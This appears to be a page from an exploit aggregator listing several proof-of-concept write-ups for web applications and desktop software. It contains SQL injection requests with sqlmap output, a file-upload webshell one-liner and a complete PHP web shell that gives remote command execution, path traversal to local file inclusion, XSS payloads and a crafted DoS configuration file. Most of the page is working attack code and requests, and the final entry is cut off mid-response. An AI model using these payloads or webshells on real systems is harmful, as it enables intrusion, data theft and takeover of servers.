Latest exploits :: CodePwn

<pre><code># Exploit Title: Online shopping system advanced 1.0 - Multiple Vulnerabilities # Discovery by: Rafael Pedrero # Discovery Date: 2020-09-24 # Vendor Homepage: https://github.com/PuneethReddyHC/online-shopping-system-advanced # Software Link : https://github.com/PuneethReddyHC/online-shopping-system-advanced/archive/master.zip # Tested Version: 1.0 # Tested on: Windows 10 using XAMPP / Linux Ubuntu server 18.04 + Apache + php 5.X/7.X + MySQL # Recap: SQLi = 2, RCE = 1, stored XSS = 2, reflected XSS = 2: 7 vulnerabilities # Vulnerability Type: SQL Injection - #1 CVSS v3: 9.8 CVSS vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CWE: CWE-89 Vulnerability description: Online shopping system advanced 1.0 allows SQL injection via the admin/edit_user.php, user_id parameter. Proof of concept: Save this content in a file: POST http://127.0.0.1/online/admin/edit_user.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Content-Type: multipart/form-data; boundary=---------------------------120411781422335 Content-Length: 489 Origin: http://127.0.0.1 Connection: keep-alive Referer: http://127.0.0.1/online/admin/edit_user.php?user_id=25 Cookie: PHPSESSID=cbj0b7afni7t7hpl5opt207263 Upgrade-Insecure-Requests: 1 Host: 127.0.0.1 -----------------------------120411781422335 Content-Disposition: form-data; name="user_id" 25 -----------------------------120411781422335 Content-Disposition: form-data; name="email" otheruser@gmail.com -----------------------------120411781422335 Content-Disposition: form-data; name="password" puneeth@123 -----------------------------120411781422335 Content-Disposition: form-data; name="btn_save" -----------------------------120411781422335-- And execute SQLMAP: >python sqlmap.py -r 1.txt --dbms=mysql -p user_id (custom) POST parameter 'MULTIPART user_id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] sqlmap identified the following injection point(s) with a total of 115 HTTP(s) requests: --- Parameter: MULTIPART user_id ((custom) POST) Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: -----------------------------120411781422335 Content-Disposition: form-data; name="user_id" 25' AND SLEEP(5) AND 'HGWF'='HGWF -----------------------------120411781422335 Content-Disposition: form-data; name="email" otheruser@gmail.com -----------------------------120411781422335 Content-Disposition: form-data; name="password" puneeth@123 -----------------------------120411781422335 Content-Disposition: form-data; name="btn_save" -----------------------------120411781422335-- --- [16:25:28] [INFO] the back-end DBMS is MySQL web application technology: Apache 2.4.38, PHP 5.6.40 back-end DBMS: MySQL >= 5.0.12 # Vulnerability Type: SQL Injection - #2 CVSS v3: 9.8 CVSS vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CWE: CWE-89 Vulnerability description: Online shopping system advanced 1.0 allows SQL injection via the action.php, proId parameter. Proof of concept: Save this content in a file: POST http://127.0.0.1/online/action.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0 Accept: */* Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 49 Origin: http://127.0.0.1 Connection: keep-alive Referer: http://127.0.0.1/online/ Cookie: PHPSESSID=cbj0b7afni7t7hpl5opt207263 Host: 127.0.0.1 addToCart=1&proId=70 And execute SQLMAP: >python sqlmap.py -r 1.txt --dbms=mysql -p proId POST parameter 'proId' is vulnerable. Do you want to keep testing the others (if any)? [y/N] sqlmap identified the following injection point(s) with a total of 72 HTTP(s) requests: --- Parameter: proId (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: addToCart=1&proId=70' AND 7704=7704 AND 'IGsd'='IGsd Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: addToCart=1&proId=70' AND SLEEP(5) AND 'pAwv'='pAwv --- [16:03:38] [INFO] the back-end DBMS is MySQL web application technology: Apache 2.4.38, PHP 5.6.40 back-end DBMS: MySQL >= 5.0.12 # Vulnerability Type: Remote Command Execution (RCE) CVSS v3: 9.8 CVSS vector: 3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CWE: CWE-434 Vulnerability description: File Restriction Bypass vulnerabilities were found in Online shopping system advanced v1.0. This allows for an authenticated user to potentially obtain RCE via webshell. Proof of concept: 1. Go the add product >> (admin/add_product.php) 2.- Select product image and load a valid image. 3. Turn Burp/ZAP Intercept On 4. Select webshell - ex: shell.php 5. Alter request in the upload... Update 'filename' to desired extension. ex: shell.php Not neccesary change content type to 'image/png' Example exploitation request: ==================================================================================================== POST http://127.0.0.1/online/admin/add_product.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Content-Type: multipart/form-data; boundary=---------------------------184982084830387 Content-Length: 960 Origin: http://127.0.0.1 Connection: keep-alive Referer: http://127.0.0.1/online/admin/add_product.php Cookie: PHPSESSID=cbj0b7afni7t7hpl5opt207263 Upgrade-Insecure-Requests: 1 Host: 127.0.0.1 -----------------------------184982084830387 Content-Disposition: form-data; name="product_name" demo2 -----------------------------184982084830387 Content-Disposition: form-data; name="details" demo2 -----------------------------184982084830387 Content-Disposition: form-data; name="picture"; filename="shell.php" Content-Type: image/gif <?php echo "<pre>";system($_REQUEST['cmd']);echo "</pre>" ?> -----------------------------184982084830387 Content-Disposition: form-data; name="price" 1 -----------------------------184982084830387 Content-Disposition: form-data; name="product_type" 1 -----------------------------184982084830387 Content-Disposition: form-data; name="brand" 1 -----------------------------184982084830387 Content-Disposition: form-data; name="tags" Summet -----------------------------184982084830387 Content-Disposition: form-data; name="submit" -----------------------------184982084830387-- ==================================================================================================== 6. To view the webshell path go to Product List (admin/cosmetics_list.php) 7. Send the request and visit your new webshell Ex: http://127.0.0.1/online/product_images/1600959116_shell.php?cmd=whoami nt authority\system # Vulnerability Type: stored Cross-Site Scripting (XSS) - #1 CVSS v3: 6.5 CVSS vector: 3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N CWE: CWE-79 Vulnerability description: Online shopping system advanced v1.0, does not sufficiently encode user-controlled inputs, resulting in a stored Cross-Site Scripting (XSS) vulnerability via the admin/edit_user.php, in multiple parameter. Proof of concept: Stored: POST http://127.0.0.1/online/admin/edit_user.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Content-Type: multipart/form-data; boundary=---------------------------120411781422335 Content-Length: 496 Origin: http://127.0.0.1 Connection: keep-alive Referer: http://127.0.0.1/online/admin/edit_user.php?user_id=25 Cookie: PHPSESSID=cbj0b7afni7t7hpl5opt207263 Upgrade-Insecure-Requests: 1 Host: 127.0.0.1 -----------------------------120411781422335 Content-Disposition: form-data; name="user_id" 25 -----------------------------120411781422335 Content-Disposition: form-data; name="email" otheruser@gmail.com -----------------------------120411781422335 Content-Disposition: form-data; name="password" </td><script>alert(1);</script><td> -----------------------------120411781422335 Content-Disposition: form-data; name="btn_save" -----------------------------120411781422335-- # Vulnerability Type: stored Cross-Site Scripting (XSS) - #2 CVSS v3: 6.5 CVSS vector: 3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N CWE: CWE-79 Vulnerability description: Online shopping system advanced v1.0, does not sufficiently encode user-controlled inputs, resulting in a stored Cross-Site Scripting (XSS) vulnerability via the admin/add_user.php, in multiple parameter. Proof of concept: Stored: POST http://127.0.0.1/online/admin/add_user.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Content-Type: application/x-www-form-urlencoded Content-Length: 192 Origin: http://127.0.0.1 Connection: keep-alive Referer: http://127.0.0.1/online/admin/add_user.php Cookie: PHPSESSID=cbj0b7afni7t7hpl5opt207263 Upgrade-Insecure-Requests: 1 Host: 127.0.0.1 first_name=demo&last_name=demo&email=demo%40localhost.inet&user_password=demo&mobile=5555555555&address1=%3C%2Ftd%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E%3Ctd%3E&address2=here+5&btn_save= # Vulnerability Type: reflected Cross-Site Scripting (XSS) - #1 CVSS v3: 6.1 CVSS vector: 3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N CWE: CWE-79 Vulnerability description: Online shopping system advanced v1.0, does not sufficiently encode user-controlled inputs, resulting in a reflected Cross-Site Scripting (XSS) vulnerability via the admin/clothes_list.php, in page parameter. Proof of concept: Reflected: http://127.0.0.1/online/admin/clothes_list.php?page=%3C%2Fh1%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E%3Ch1%3E # Vulnerability Type: reflected Cross-Site Scripting (XSS) - #2 CVSS v3: 6.1 CVSS vector: 3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N CWE: CWE-79 Vulnerability description: Online shopping system advanced v1.0, does not sufficiently encode user-controlled inputs, resulting in a reflected Cross-Site Scripting (XSS) vulnerability via the admin/cosmetics_list.php, in page parameter. Proof of concept: Reflected: http://127.0.0.1/online/admin/cosmetics_list.php?page=%3C%2Fh1%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E%3Ch1%3E </code></pre>

<pre><code># Exploit Title: SuperMailer v11.20 - Buffer overflow DoS # Exploit Author: Rafael Pedrero # Discovery Date: 2021-02-07 # Vendor Homepage: https://int.supermailer.de/download_newsletter_software.htm # Software Link : https://int.supermailer.de/smintsw.zip / https://int.supermailer.de/smintsw_x64.zip # Tested Version: v11.20 32bit/64bit [11.20.0.2204] # Tested on: Windows 7, 10 CVSS v3: 3.3 CVSS vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L CWE: CWE-20 Vulnerability description: A vulnerability in Newsletter Software SuperMailer v11.20 32bit/64bit [11.20.0.2204] could allow an attacker to cause a process crash resulting in a Denial of service (DoS) condition for the application on an affected system. The vulnerability exists due to insufficient validation of certain elements with a configuration file malformed. An attacker could exploit this vulnerability by sending a user a malicious SMB (configuration file) file through a link or email attachment and persuading the user to open the file with the affected software on the local system. A successful exploit could allow the attacker to cause the application to crash when trying to load the malicious file. Proof of concept: 1.- Go to File -> Save program options... 2.- Save the file (default extension *.smb) 3.- Edit file and you introduce a lot of A in somewhere. Example: DoS.smb file Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 00000000 10 03 00 00 00 00 00 00 A9 E5 7E 41 41 41 41 41 ........©å~AAAAA 00000010 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000020 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000030 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000040 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000050 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000060 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000070 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000080 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000090 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000000A0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000000B0 41 41 97 99 E5 40 00 00 00 00 00 00 00 00 00 00 AA—™å@.......... 000000C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000E0 00 00 00 00 00 00 6B 00 00 00 53 00 6F 00 66 00 ......k...S.o.f. 000000F0 74 00 77 00 61 00 72 00 65 00 5C 00 4D 00 69 00 t.w.a.r.e.\.M.i. 00000100 72 00 6B 00 6F 00 20 00 42 00 6F 00 65 00 65 00 r.k.o. .B.o.e.e. 00000110 72 00 20 00 53 00 6F 00 66 00 74 00 77 00 61 00 r. .S.o.f.t.w.a. 00000120 72 00 65 00 5C 00 53 00 75 00 70 00 65 00 72 00 r.e.\.S.u.p.e.r. 00000130 4D 00 61 00 69 00 6C 00 65 00 72 00 5C 00 54 00 M.a.i.l.e.r.\.T. 00000140 65 00 73 00 74 00 20 00 45 00 4D 00 61 00 69 00 e.s.t. .E.M.a.i. 00000150 6C 00 20 00 41 00 64 00 64 00 72 00 65 00 73 00 l. .A.d.d.r.e.s. 00000160 73 00 65 00 73 00 00 00 00 00 00 00 00 00 00 00 s.e.s........... And save the file. 4.- Go to File -> Restore program options... 5.- The application "sm.exe" crash. </code></pre>

<pre><code># Exploit Title: YouPHPTube <= 7.8 - Multiple Vulnerabilities # Discovery by: Rafael Pedrero # Discovery Date: 2021-01-31 # Vendor Homepage: https://www.youphptube.com/ # Software Link : https://www.youphptube.com/ # Tested Version: 7.8 # Tested on: Windows 7, 10 using XAMPP # Vulnerability Type: LFI + Path Traversal CVSS v3: 7.5 CVSS vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N CWE: CWE-829, CWE-22 Vulnerability description: YouPHPTube v7.8 allows unauthenticated directory traversal and Local File Inclusion through the parameter in an /?lang=PATH+TRAVERSAL+FILE (without php) GET request because of an include_once in locale/function.php page. Proof of concept: To detect: http://localhost/youphptube/index.php?lang=) An error is generated: Warning: preg_grep(): Compilation failed: unmatched parentheses at offset 0 in C:\xampp\htdocs\YouPHPTube\locale\function.php on line 47 In function.php page, we can see: // filter some security here if (!empty($_GET['lang'])) { $_GET['lang'] = str_replace(array("'", '"', """, "'"), array('', '', '', ''), xss_esc($_GET['lang'])); } if (empty($_SESSION['language'])) { $_SESSION['language'] = $config->getLanguage(); } if (!empty($_GET['lang'])) { $_GET['lang'] = strip_tags($_GET['lang']); $_SESSION['language'] = $_GET['lang']; } @include_once "{$global['systemRootPath']}locale/{$_SESSION['language']}.php"; The parameter "lang" can be modified and load a php file in the server. In Document root: /phpinfo.php with this content: <?php echo phpinfo(); ?> To Get phpinfo.php: http://127.0.0.1/youphptube/?lang=../../phpinfo Note: phpinfo without ".php". The new Path is: @include_once "{$global['systemRootPath']}locale/../../phpinfo.php"; And you can see the PHP information into the browser. # Vulnerability Type: reflected Cross-Site Scripting (XSS) CVSS v3: 6.5 CVSS vector: 3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N CWE: CWE-79 Vulnerability description: YouPHPTube 7.8 and before, does not sufficiently encode user-controlled inputs, resulting in a reflected Cross-Site Scripting (XSS) vulnerability via the /<YouPHPTube_path_directory>/signup?redirectUri=<XSS>, in redirectUri parameter. Proof of concept: http://localhost/ <YouPHPTube_path_directory>/signup?redirectUri='"()%26%25<ScRipt>alert(1)</ScRipt> </code></pre>

<pre><code>## Exploit Title: Beauty-salon v1.0 - Remote Code Execution (RCE) ## Exploit Author: nu11secur1ty ## Date: 10.12.2022 ## Vendor: https://code4berry.com/projects/beautysalon.php ## Software: https://code4berry.com/project%20downloads/beautysalon_download.php ## Reference: https://github.com/nu11secur1ty/NVE/blob/NVE-master/2022/NVE-2022-1012.txt ## Description: The parameter `userimage` from Beauty-salon-2022 suffers from Web Shell-File Upload - RCE. NOTE: The user permissions of this system are not working correctly, and the function is not sanitizing well. The attacker can use an already created account from someone who controls this system and he can upload a very malicious file by using this vulnerability, or more precisely (no sanitizing of function for edit image), for whatever account, then he can execute it from anywhere on the external network. Status: HIGH Vulnerability [+] Exploit: ```php         <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" " http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html" charset="euc-kr"> <title>PHP Web Shell Ver 4.0 by nu11secur1ty</title> <script type="text/javascript"> function FocusIn(obj) { if(obj.value == obj.defaultValue) obj.value = ''; } function FocusOut(obj) { if(obj.value == '') obj.value = obj.defaultValue; } </script> </head> <body> WebShell's Location = http://<?php echo $_SERVER['HTTP_HOST']; echo $_SERVER['REQUEST_URI'] ?> HTTP_HOST = <?php echo $_SERVER['HTTP_HOST'] ?> REQUEST_URI = <?php echo $_SERVER['REQUEST_URI'] ?> <form name="cmd_exec" method="post" action="http://<?php echo $_SERVER['HTTP_HOST']; echo $_SERVER['REQUEST_URI'] ?>"> <input type="text" name="cmd" size="70" maxlength="500" value="Input command to execute" onfocus="FocusIn(document.cmd_exec.cmd)" onblur="FocusOut(document.cmd_exec.cmd)"> <input type="submit" name="exec" value="exec"> </form> <?php if(isset($_POST['exec'])) { exec($_POST['cmd'],$result); echo '----------------- < OutPut > -----------------'; echo '<pre>'; foreach($result as $print) { $print = str_replace('<','<',$print); echo $print . ' '; } echo '</pre>'; } else echo ' '; ?> <form enctype="multipart/form-data" name="file_upload" method="post" action="http://<?php echo $_SERVER['HTTP_HOST']; echo $_SERVER['REQUEST_URI'] ?>"> <input type="file" name="file"> <input type="submit" name="upload" value="upload"> <input type="text" name="target" size="100" value="Location where file will be uploaded (include file name!)" onfocus="FocusIn(document.file_upload.target)" onblur="FocusOut(document.file_upload.target)"> </form> <?php if(isset($_POST['upload'])) { $check = move_uploaded_file($_FILES['file']['tmp_name'], $_POST['target']); if($check == TRUE) echo '<pre>The file was uploaded successfully!!</pre>'; else echo '<pre>File Upload was failed...</pre>'; } ?> </body> </html> ``` # Proof and Exploit: [href](https://streamable.com/ewdmoh) # m0e3: [href]( https://www.nu11secur1ty.com/2022/10/beauty-salon-2022-web-shell-file-upload.html ) </code></pre>

<pre><code># Exploit Title: CVE-2023-27167 - Suprema BioStar 2 v2.8.16 - SQL Injection # Date: 26/03/2023 # Exploit Author: Yuriy (Vander) Tsarenko (https://www.linkedin.com/in/yuriy-tsarenko-a1453aa4/) # Vendor Homepage: https://www.supremainc.com/ # Software Link: https://www.supremainc.com/en/platform/hybrid-security-platform-biostar-2.asp # Software Download: https://support.supremainc.com/en/support/solutions/articles/24000076543--biostar-2-biostar-2-8-16-new-features-and-configuration-guide # Version: 2.8.16 # Tested on: Windows, Linux ## Description A Boolean-based SQL injection/Time based SQL vulnerability in the page (/api/users/absence?search_month=1) in Suprema BioStar 2 v2.8.16 allows remote unauthenticated attackers to execute remote arbitrary SQL commands through "values" JSON parameter. ## Request PoC #1 ''' POST /api/users/absence?search_month=1 HTTP/1.1 Host: biostar2.server.net User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:107.0) Gecko/20100101 Firefox/107.0 Accept: application/json, text/plain, */* Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate content-type: application/json;charset=UTF-8 content-language: en bs-session-id: 207c1c3c3b624fcc85b7f0814c4bf548 Content-Length: 204 Origin: https://biostar2.server.net Connection: close Referer: https://biostar2.server.net/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin {"Query":{"offset":0,"limit":51,"atLeastOneFilterExists":true,"conditions":[{"column":"user_group_id.id","operator":2,"values":["(select*from(select(sleep(4)))a)",4840,20120]}],"orders":[],"total":false}} ''' Time based SQL injection (set 4 – response delays for 8 seconds). ''' ## Request PoC #2 ''' POST /api/users/absence?search_month=1 HTTP/1.1 Host: biostar2.server.net User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:107.0) Gecko/20100101 Firefox/107.0 Accept: application/json, text/plain, */* Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate content-type: application/json;charset=UTF-8 content-language: en bs-session-id: 207c1c3c3b624fcc85b7f0814c4bf548 Content-Length: 188 Origin: https://biostar2.server.net Connection: close Referer: https://biostar2.server.net/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin {"Query":{"offset":0,"limit":51,"atLeastOneFilterExists":true,"conditions":[{"column":"user_group_id.id","operator":2,"values":["1 and 3523=03523",4840,20120]}],"orders":[],"total":false}} ''' Boolean-based SQL injection (payload “1 and 3523=03523” means “1 and True”, so we can see information in response, regarding user with id 1, which is admin) ''' ## Exploit with SQLmap Save the request from Burp Suite to file. ''' --- Parameter: JSON #1* ((custom) POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: {"Query":{"offset":0,"limit":51,"atLeastOneFilterExists":true,"conditions":[{"column":"user_group_id.id","operator":2,"values":["1 and 3523=03523",4840,20120]}],"orders":[],"total":false}} Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: {"Query":{"offset":0,"limit":51,"atLeastOneFilterExists":true,"conditions":[{"column":"user_group_id.id","operator":2,"values":["(select*from(select(sleep(7)))a)",4840,20120]}],"orders":[],"total":false}} --- [05:02:49] [INFO] testing MySQL [05:02:49] [INFO] confirming MySQL [05:02:50] [INFO] the back-end DBMS is MySQL back-end DBMS: MySQL > 5.0.0 (MariaDB fork) [05:02:50] [INFO] fetching database names [05:02:50] [INFO] fetching number of databases [05:02:54] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval [05:02:55] [INFO] retrieved: 2 [05:03:12] [INFO] retrieved: biostar2_ac [05:03:56] [INFO] retrieved: information_schema available databases [2]: [*] biostar2_ac [*] information schema ''' </code></pre>

<pre><code># Exploit Title: WebTareas 2.4 - SQL Injection (Unauthorised) # Date: 15/10/2022 # Exploit Author: Hubert Wojciechowski # Contact Author: hub.woj12345@gmail.com # Vendor Homepage: https://sourceforge.net/projects/webtareas/ # Software Link: https://sourceforge.net/projects/webtareas/ # Version: 2.4 # Testeted on: Windows 10 using XAMPP, Apache/2.4.48 (Win64) OpenSSL/1.1.1l PHP/7.4.23 ## Example ----------------------------------------------------------------------------------------------------------------------- Param: webTareasSID in cookie ----------------------------------------------------------------------------------------------------------------------- Req ----------------------------------------------------------------------------------------------------------------------- GET /webtareas/administration/admin.php HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: pl,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://127.0.0.1/webtareas/general/login.php?msg=logout Connection: close Cookie: webTareasSID=Mt%ezS%00%07contCtxNzS%00%06_itemsVl%00%00%00%02S%00%03fooS%00%03barzzR%00%00%00%01Mt%001com.sun.org.apache.xpath.internal.objects.XStringS%00%05m_objS%00%04%eb%a7%a6%0f%1a%0bS%00%08m_parentNzR%00%00%00%12z'' Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 ----------------------------------------------------------------------------------------------------------------------- Res: ----------------------------------------------------------------------------------------------------------------------- HTTP/1.1 302 Found Date: Sat, 15 Oct 2022 11:38:50 GMT Server: Apache/2.4.54 (Win64) OpenSSL/1.1.1p PHP/7.4.30 X-Powered-By: PHP/7.4.30 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Location: ../service_site/home.php?msg=permissiondenied Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 ----------------------------------------------------------------------------------------------------------------------- Req ----------------------------------------------------------------------------------------------------------------------- GET /webtareas/administration/admin.php HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: pl,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://127.0.0.1/webtareas/general/login.php?msg=logout Connection: close Cookie: webTareasSID=Mt%ezS%00%07contCtxNzS%00%06_itemsVl%00%00%00%02S%00%03fooS%00%03barzzR%00%00%00%01Mt%001com.sun.org.apache.xpath.internal.objects.XStringS%00%05m_objS%00%04%eb%a7%a6%0f%1a%0bS%00%08m_parentNzR%00%00%00%12z' Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 ----------------------------------------------------------------------------------------------------------------------- Res: ----------------------------------------------------------------------------------------------------------------------- HTTP/1.1 302 Found Date: Sat, 15 Oct 2022 11:38:39 GMT Server: Apache/2.4.54 (Win64) OpenSSL/1.1.1p PHP/7.4.30 X-Powered-By: PHP/7.4.30 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Location: ../service_site/home.php?msg=permissiondenied Content-Length: 355 Connection: close Content-Type: text/html; charset=UTF-8 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'javax.naming.spi.ContinuaS' at line 1(1064) Warning: Unknown: Failed to write session data using user defined save handler. (session.save_path: E:\xampp_php7\tmp) in Unknown on line 0 ----------------------------------------------------------------------------------------------------------------------- SQLMap: ----------------------------------------------------------------------------------------------------------------------- sqlmap resumed the following injection point(s) from stored session: --- Parameter: Cookie #1* ((custom) HEADER) Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: webTareasSID=Mt%00%00Mt%00%17com.caucho.naming.QNameS%00%08_contextMt%00' AND (SELECT 7431 FROM(SELECT COUNT(*),CONCAT(0x717a717071,(SELECT (ELT(7431=7431,1))),0x71716a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- wBnB; qdPM8=grntkihirc9efukm73dpo1ktt5; PHPSESSID=nsv9pmko3u7rh0s37cd6vg2ko1 Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: webTareasSID=Mt%00%00Mt%00%17com.caucho.naming.QNameS%00%08_contextMt%00' AND (SELECT 7004 FROM (SELECT(SLEEP(5)))BFRG)-- Oamh; qdPM8=grntkihirc9efukm73dpo1ktt5; PHPSESSID=nsv9pmko3u7rh0s37cd6vg2ko1 [11:49:03] [INFO] testing MySQL [11:49:03] [INFO] confirming MySQL do you want to URL encode cookie values (implementation specific)? [Y/n] Y [11:49:03] [INFO] the back-end DBMS is MySQL web application technology: PHP 7.4.30, Apache 2.4.54 back-end DBMS: MySQL >= 5.0.0 (MariaDB fork) [11:49:03] [INFO] fetching database names [11:49:04] [INFO] starting 6 threads [11:49:06] [INFO] retrieved: 'zxcv' [11:49:06] [INFO] retrieved: 'information_schema' [11:49:06] [INFO] retrieved: 'performance_schema' [11:49:06] [INFO] retrieved: 'test' [11:49:06] [INFO] retrieved: 'phpmyadmin' [11:49:06] [INFO] retrieved: 'mysql' available databases [6]: [*] information_schema [*] mysql [*] performance_schema [*] phpmyadmin [*] test [*] zxcv [11:49:06] [INFO] fetched data logged to text files under 'C:\Users\48720\AppData\Local\sqlmap\output\127.0.0.1' [11:49:06] [WARNING] your sqlmap version is outdated [*] ending @ 11:49:06 /2022-10-15/ </code></pre>

<pre><code># Exploit Title: WebTareas 2.4 - Reflected XSS (Unauthorised) # Date: 15/10/2022 # Exploit Author: Hubert Wojciechowski # Contact Author: hub.woj12345@gmail.com # Vendor Homepage: https://sourceforge.net/projects/webtareas/ # Software Link: https://sourceforge.net/projects/webtareas/ # Version: 2.4 # Tested on: Windows 10 using XAMPP, Apache/2.4.48 (Win64) OpenSSL/1.1.1l PHP/7.4.23 ## Proof Of Concept ----------------------------------------------------------------------------------------------------------------------- Param: searchtype ----------------------------------------------------------------------------------------------------------------------- Req ----------------------------------------------------------------------------------------------------------------------- GET /webtareas/general/search.php?searchtype=r4e3a%22%3e%3cinput%20type%3dtext%20autofocus%20onfocus%3dalert(1)%2f%2fvv7vqt317x0&searchfor=zxcv&nosearch=&searchonly=&csrfToken=aa05732647773f33e57175a417789d26e8176474dfc87f4694c62af12c24799461b7c0&searchfor=zxcv&Save=Szukaj HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: pl,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Origin: http://127.0.0.1 Connection: close Referer: http://127.0.0.1/webtareas/general/search.php?searchtype=simple Cookie: webTareasSID=k177423c2af6isukkurfeq0g61; qdPM8=grntkihirc9efukm73dpo1ktt5; PHPSESSID=nsv9pmko3u7rh0s37cd6vg2ko1 Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 ----------------------------------------------------------------------------------------------------------------------- Res: ----------------------------------------------------------------------------------------------------------------------- HTTP/1.1 200 OK Date: Sat, 15 Oct 2022 07:46:31 GMT Server: 